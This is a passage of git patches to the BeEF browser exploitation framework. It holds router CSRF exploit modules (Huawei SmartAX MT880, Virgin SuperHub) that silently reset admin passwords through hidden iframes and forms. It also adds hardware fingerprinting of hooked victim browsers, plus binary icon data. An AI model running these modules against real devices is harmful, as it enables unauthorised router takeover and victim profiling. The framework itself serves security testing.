+++ b/modules/exploits/router/huawei_smartax_mt880/command.js
@@ -19,7 +19,7 @@ beef.execute(function() {
   var passwd = '<%= @password %>';
 
   var huawei_smartax_mt880_iframe = beef.dom.createInvisibleIframe();
-  huawei_smartax_mt880_iframe.setAttribute('src', gateway+"/Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70");
+  huawei_smartax_mt880_iframe.setAttribute('src', gateway+"Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70");
 
   beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
 
diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js
index 5acb91421..3c84ee315 100644
--- a/modules/exploits/router/virgin_superhub_csrf/command.js
+++ b/modules/exploits/router/virgin_superhub_csrf/command.js
@@ -18,7 +18,7 @@ beef.execute(function() {
 	var gateway = '<%= @base %>'; 
 	var passwd  = '<%= @password %>';
 
-	var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "/goform/RgSecurity", "POST", [
+	var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [
 		{'type':'hidden', 'name':'NetgearPassword', 'value':passwd} ,
 		{'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd},
 		{'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'}

From 268ef4588f54635462829def863ad2532ffec5b3 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Mon, 25 Jun 2012 01:35:33 +0930
Subject: [PATCH 15/17] Added device/hardware detection

---
 core/core.rb                                  |   1 +
 core/filters/browser.rb                       |  10 +++
 core/main/client/browser.js                   |   2 +
 core/main/client/hardware.js                  |  74 ++++++++++++++++++
 core/main/client/os.js                        |  20 ++++-
 core/main/constants/hardware.rb               |  73 +++++++++++++++++
 core/main/constants/os.rb                     |  20 +++--
 core/main/handlers/browserdetails.rb          |   8 ++
 core/main/handlers/modules/beefjs.rb          |   4 +-
 core/main/models/browserdetails.rb            |  27 ++++++-
 .../admin_ui/controllers/modules/modules.rb   |  17 +++-
 .../admin_ui/controllers/panel/panel.rb       |   6 +-
 .../admin_ui/media/images/icons/ios.png       | Bin 0 -> 38666 bytes
 .../admin_ui/media/images/icons/iphone.jpg    | Bin 0 -> 1721 bytes
 .../admin_ui/media/images/icons/iphone.png    | Bin 1577 -> 0 bytes
 .../admin_ui/media/images/icons/kindle.png    | Bin 0 -> 4408 bytes
 extensions/admin_ui/media/images/icons/pc.png | Bin 0 -> 2521 bytes
 .../admin_ui/media/images/icons/zune.gif      | Bin 0 -> 1701 bytes
 .../media/javascript/ui/panel/ZombiesMgr.js   |   4 +
 extensions/console/lib/shellinterface.rb      |  15 ++++
 20 files changed, 259 insertions(+), 22 deletions(-)
 create mode 100644 core/main/client/hardware.js
 create mode 100644 core/main/constants/hardware.rb
 create mode 100644 extensions/admin_ui/media/images/icons/ios.png
 create mode 100644 extensions/admin_ui/media/images/icons/iphone.jpg
 delete mode 100644 extensions/admin_ui/media/images/icons/iphone.png
 create mode 100644 extensions/admin_ui/media/images/icons/kindle.png
 create mode 100644 extensions/admin_ui/media/images/icons/pc.png
 create mode 100644 extensions/admin_ui/media/images/icons/zune.gif

diff --git a/core/core.rb b/core/core.rb
index dc554314b..6dcff13f2 100644
--- a/core/core.rb
+++ b/core/core.rb
@@ -34,6 +34,7 @@ require 'core/main/constants/browsers'
 require 'core/main/constants/commandmodule'
 require 'core/main/constants/distributedengine'
 require 'core/main/constants/os'
+require 'core/main/constants/hardware'
 
 # @note Include core modules for beef
 require 'core/main/configuration'
diff --git a/core/filters/browser.rb b/core/filters/browser.rb
index f955fb6f6..7dbcfdfc6 100644
--- a/core/filters/browser.rb
+++ b/core/filters/browser.rb
@@ -47,6 +47,16 @@ module Filters
     true
   end
 
+  # Check the Hardware name value - for example, 'iPhone'
+  # @param [String] str String for testing
+  # @return [Boolean] If the string has valid Hardware name characters
+  def self.is_valid_hwname?(str)
+    return false if not is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
+    return false if str.length < 2
+    true
+  end
+
   # Verify the browser version string is valid
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid browser version characters
diff --git a/core/main/client/browser.js b/core/main/client/browser.js
index 762072108..9a243aad4 100644
--- a/core/main/client/browser.js
+++ b/core/main/client/browser.js
@@ -765,6 +765,7 @@ beef.browser = {
 		var browser_plugins = beef.browser.getPlugins();
 		var date_stamp = new Date().toString();
 		var os_name = beef.os.getName();
+		var hw_name = beef.hardware.getName();
 		var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
 		var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;});
 		var screen_size = beef.browser.getScreenSize();
@@ -789,6 +790,7 @@ beef.browser = {
 		if(hostport) details["HostPort"] = hostport;
 		if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
 		if(os_name) details['OsName'] = os_name;
+		if(hw_name) details['Hardware'] = hw_name;
 		if(date_stamp) details['DateStamp'] = date_stamp;
 		if(system_platform) details['SystemPlatform'] = system_platform;
 		if(browser_type) details['BrowserType'] = browser_type;
diff --git a/core/main/client/hardware.js b/core/main/client/hardware.js
new file mode 100644
index 000000000..f498c53ac
--- /dev/null
+++ b/core/main/client/hardware.js
@@ -0,0 +1,74 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.hardware = {
+
+	ua: navigator.userAgent,
+	
+	isWinPhone: function() {
+		return (this.ua.match('(Windows Phone)')) ? true : false;
+	},
+	
+	isIphone: function() {
+		return (this.ua.indexOf('iPhone') != -1) ? true : false;
+	},
+
+	isIpad: function() {
+		return (this.ua.indexOf('iPad') != -1) ? true : false;
+	},
+
+	isIpod: function() {
+		return (this.ua.indexOf('iPod') != -1) ? true : false;
+	},
+
+	isNokia: function() {
+		return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
+	},
+
+	isBlackBerry: function() {
+		return (this.ua.match('BlackBerry')) ? true : false;
+	},
+
+	isZune: function() {
+		return (this.ua.match('ZuneWP7')) ? true : false;
+	},
+
+	isKindle: function() {
+		return (this.ua.match('Kindle')) ? true : false;
+	},
+
+	getName: function() {
+
+		if(this.isNokia()) {
+
+			if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
+			if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
+			if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
+
+			//return 'Nokia';
+		}
+
+		if (this.isWinPhone()) return 'Windows Phone';
+		if (this.isBlackBerry()) return 'BlackBerry';
+		if (this.isIphone()) return 'iPhone';
+		if (this.isIpad()) return 'iPad';
+		if (this.isIpod()) return 'iPod';
+		if (this.isKindle()) return 'Kindle';
+
+		return 'unknown';
+	}
+};
+
+beef.regCmp('beef.net.hardware');
diff --git a/core/main/client/os.js b/core/main/client/os.js
index c133edcc9..9ccea8a9c 100644
--- a/core/main/client/os.js
+++ b/core/main/client/os.js
@@ -72,7 +72,11 @@ beef.os = {
 	isMacintosh: function() {
 		return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
 	},
-	
+
+	isWinPhone: function() {
+		return (this.ua.match('(Windows Phone)')) ? true : false;
+	},
+
 	isIphone: function() {
 		return (this.ua.indexOf('iPhone') != -1) ? true : false;
 	},
@@ -97,6 +101,10 @@ beef.os = {
 		return (this.ua.match('BlackBerry')) ? true : false;
 	},
 
+	isWebOS: function() {
+		return (this.ua.match('webOS')) ? true : false;
+	},
+
 	isQNX: function() {
 		return (this.ua.match('QNX')) ? true : false;
 	},
@@ -139,11 +147,14 @@ beef.os = {
 		if(this.isSunOS()) return 'Sun OS';
 
 		//iPhone
-		if (this.isIphone()) return 'iPhone';
+		if (this.isIphone()) return 'iOS';
 		//iPad
-		if (this.isIpad()) return 'iPad';
+		if (this.isIpad()) return 'iOS';
 		//iPod
-		if (this.isIpod()) return 'iPod';
+		if (this.isIpod()) return 'iOS';
+
+		// zune
+		//if (this.isZune()) return 'Zune';
 		
 		//macintosh
 		if(this.isMacintosh()) {
@@ -156,6 +167,7 @@ beef.os = {
 		//others
 		if(this.isQNX()) return 'QNX';
 		if(this.isBeOS()) return 'BeOS';
+		if(this.isWebOS()) return 'webOS';
 		
 		return 'unknown';
 	}
diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb
new file mode 100644
index 000000000..63958a210
--- /dev/null
+++ b/core/main/constants/hardware.rb
@@ -0,0 +1,73 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+
+module BeEF
+module Core
+module Constants
+  
+  # @note The hardware's strings for hardware detection.
+  module Hardware
+
+    HW_UNKNOWN_IMG        = 'pc.png'
+	HW_IPHONE_UA_STR      = 'iPhone'
+ 	HW_IPHONE_IMG         = 'iphone.jpg'
+	HW_IPAD_UA_STR	      = 'iPad'
+	HW_IPAD_IMG	          = 'ipad.png'
+	HW_IPOD_UA_STR	      = 'iPod'
+	HW_IPOD_IMG	          = 'ipod.jpg'
+	HW_BLACKBERRY_UA_STR  = 'BlackBerry'
+	HW_BLACKBERRY_IMG     = 'blackberry.png'
+	HW_ANDROID_UA_STR     = 'Android'
+	HW_ANDROID_IMG        = 'android.png'
+	HW_WINPHONE_UA_STR    = 'Windows Phone'
+	HW_WINPHONE_IMG       = 'win.png'
+    HW_ZUNE_UA_STR        = 'ZuneWP7'
+    HW_ZUNE_IMG           = 'zune.gif'
+	HW_KINDLE_UA_STR      = 'Kindle'
+	HW_KINDLE_IMG         = 'kindle.png'
+    HW_ALL_UA_STR         = 'All'
+
+        # Attempt to match operating system string to constant
+        # @param [String] name Name of operating system
+        # @return [String] Constant name of matched operating system, returns 'ALL'  if nothing are matched
+		def self.match_hardware(name)
+			case name.downcase
+				when /iphone/
+					HW_IPHONE_UA_STR
+				when /ipad/
+					HW_IPAD_UA_STR
+				when /ipod/
+					HW_IPOD_UA_STR
+				when /blackberry/
+					HW_BLACKBERRY_UA_STR
+				when /android/
+					HW_ANDROID_UA_STR
+				when /windows phone/
+					HW_WINPHONE_UA_STR
+				when /zune/
+					HW_ZUNE_UA_STR
+				when /kindle/
+					HW_KINDLE_UA_STR
+				else
+					'ALL'
+				end
+		end
+	
+  end
+  
+end
+end
+end
diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb
index 2e86f1e39..15c8a1b67 100644
--- a/core/main/constants/os.rb
+++ b/core/main/constants/os.rb
@@ -29,17 +29,19 @@ module Constants
   	OS_MAC_UA_STR         = 'Mac'
   	OS_MAC_IMG            = 'mac.png'
 	OS_QNX_UA_STR	      = 'QNX'
-	OS_QNX_IMG	      = 'qnx.ico'
+	OS_QNX_IMG	          = 'qnx.ico'
 	OS_BEOS_UA_STR	      = 'BeOS'
-	OS_BEOS_IMG	      = 'beos.png'
+	OS_BEOS_IMG	          = 'beos.png'
 	OS_OPENBSD_UA_STR     = 'OpenBSD'
 	OS_OPENBSD_IMG	      = 'openbsd.ico'
+	OS_IOS_UA_STR         = 'iOS'
+	OS_IOS_IMG            = 'ios.png'
 	OS_IPHONE_UA_STR      = 'iPhone'
- 	OS_IPHONE_IMG         = 'iphone.png'
+ 	OS_IPHONE_IMG         = 'iphone.jpg'
 	OS_IPAD_UA_STR	      = 'iPad'
-	OS_IPAD_IMG	      = 'ipad.png'
+	OS_IPAD_IMG	          = 'ipad.png'
 	OS_IPOD_UA_STR	      = 'iPod'
-	OS_IPOD_IMG	      = 'ipod.jpg'
+	OS_IPOD_IMG	          = 'ipod.jpg'
 	OS_MAEMO_UA_STR	      = 'Maemo'
 	OS_MAEMO_IMG	      = 'maemo.ico'
 	OS_BLACKBERRY_UA_STR  = 'BlackBerry'
@@ -65,12 +67,8 @@ module Constants
 					OS_BEOS_UA_STR
 				when /openbsd/
 					OS_OPENBSD_UA_STR
-				when /iphone/
-					OS_IPHONE_UA_STR
-				when /ipad/
-					OS_IPAD_UA_STR
-				when /ipod/
-					OS_IPOD_UA_STR
+				when /ios/, /iphone/, /ipad/, /ipod/
+					OS_IOS_UA_STR
 				when /maemo/
 					OS_MAEMO_UA_STR
 				when /blackberry/
diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb
index dfb3b8040..1ca83f165 100644
--- a/core/main/handlers/browserdetails.rb
+++ b/core/main/handlers/browserdetails.rb
@@ -118,6 +118,14 @@ module BeEF
             self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
           end
 
+          # get and store the hardware name
+          hw_name = get_param(@data['results'], 'Hardware')
+          if BeEF::Filters.is_valid_hwname?(hw_name)
+            BD.set(session_id, 'Hardware', hw_name)
+          else
+            self.err_msg "Invalid hardware name returned from the hook browser's initial connection."
+          end
+
           # get and store the date
           date_stamp = get_param(@data['results'], 'DateStamp')
           if BeEF::Filters.is_valid_date_stamp?(date_stamp)
diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb
index 92473876d..b7ca90bae 100644
--- a/core/main/handlers/modules/beefjs.rb
+++ b/core/main/handlers/modules/beefjs.rb
@@ -32,9 +32,9 @@ module Modules
       # @note we load websocket library only if ws server is enabled in config.yalm
       # check in init.js
       if config.get("beef.http.websocket.enable")
-        js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
+        js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
       else
-        js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
+        js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
       end
 
       # @note construct the beefjs string from file(s)
diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb
index 8a8f79c61..ae3868691 100644
--- a/core/main/models/browserdetails.rb
+++ b/core/main/models/browserdetails.rb
@@ -94,9 +94,10 @@ module Models
       return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR
       return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR
       return BeEF::Core::Constants::Os::OS_OPENBSD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_OPENBSD_UA_STR
-      return BeEF::Core::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
-      return BeEF::Core::Constants::Os::OS_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
-      return BeEF::Core::Constants::Os::OS_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
+      return BeEF::Core::Constants::Os::OS_WEBOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WEBOS_UA_STR
+      return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
+      return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
+      return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
       return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR
       return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
       return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR
@@ -105,6 +106,26 @@ module Models
       BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
     end
   
+    #
+    # Returns the icon representing the hardware the
+    # zombie is running on (i.e. iPhone, BlackBerry)
+    #
+    def self.hw_icon(session_id)
+
+      ua_string = get(session_id, 'BrowserReportedName')
+
+      return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil?
+
+      return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR
+      return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR
+      return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR
+      return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR
+      return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR
+
+      BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG
+
+    end
+
   end
 
 end
diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb
index b30573a0d..827f6c241 100644
--- a/extensions/admin_ui/controllers/modules/modules.rb
+++ b/extensions/admin_ui/controllers/modules/modules.rb
@@ -136,7 +136,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
 
     # set and add the return values for the os name
     os_name = BD.get(zombie_session, 'OsName')
-    if not host_name.nil?
+    if not os_name.nil?
       encoded_os_name = CGI.escapeHTML(os_name)
       encoded_os_name_hash = { 'OS Name' => encoded_os_name }
 
@@ -148,6 +148,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
 
       summary_grid_hash['results'].push(page_name_row) # add the row
     end
+
+    # set and add the return values for the hardware name
+    hw_name = BD.get(zombie_session, 'Hardware')
+    if not hw_name.nil?
+      encoded_hw_name = CGI.escapeHTML(hw_name)
+      encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
+
+      page_name_row = {
+        'category' => 'Host',
+        'data' => encoded_hw_name_hash,
+        'from' => 'Initialization'
+      }
+
+      summary_grid_hash['results'].push(page_name_row) # add the row
+    end
  
     # set and add the return values for the browser name
     browser_name = BD.get(zombie_session, 'BrowserName') 
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index c67ec41f7..56b6a708c 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -90,10 +90,12 @@ class Panel < BeEF::Extension::AdminUI::HttpController
     browser_icon    = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
     os_icon         = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
     os_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
+    hw_icon         = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
+    hw_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
     domain          = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
     has_flash       = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
     has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
-    date_stamp      =  BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
+    date_stamp      = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
 
     return {
       'session'         => hooked_browser.session,
@@ -105,6 +107,8 @@ class Panel < BeEF::Extension::AdminUI::HttpController
       'browser_icon'    => browser_icon,
       'os_icon'         => os_icon,
       'os_name'         => os_name,
+      'hw_icon'         => hw_icon,
+      'hw_name'         => hw_name,
       'has_flash'       => has_flash,
       'has_web_sockets' => has_web_sockets,
       'date_stamp'      => date_stamp
diff --git a/extensions/admin_ui/media/images/icons/ios.png b/extensions/admin_ui/media/images/icons/ios.png
new file mode 100644
index 0000000000000000000000000000000000000000..de94a27ce9682ce1ce4d2c84248b879043ffdb9c
GIT binary patch
literal 38666
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
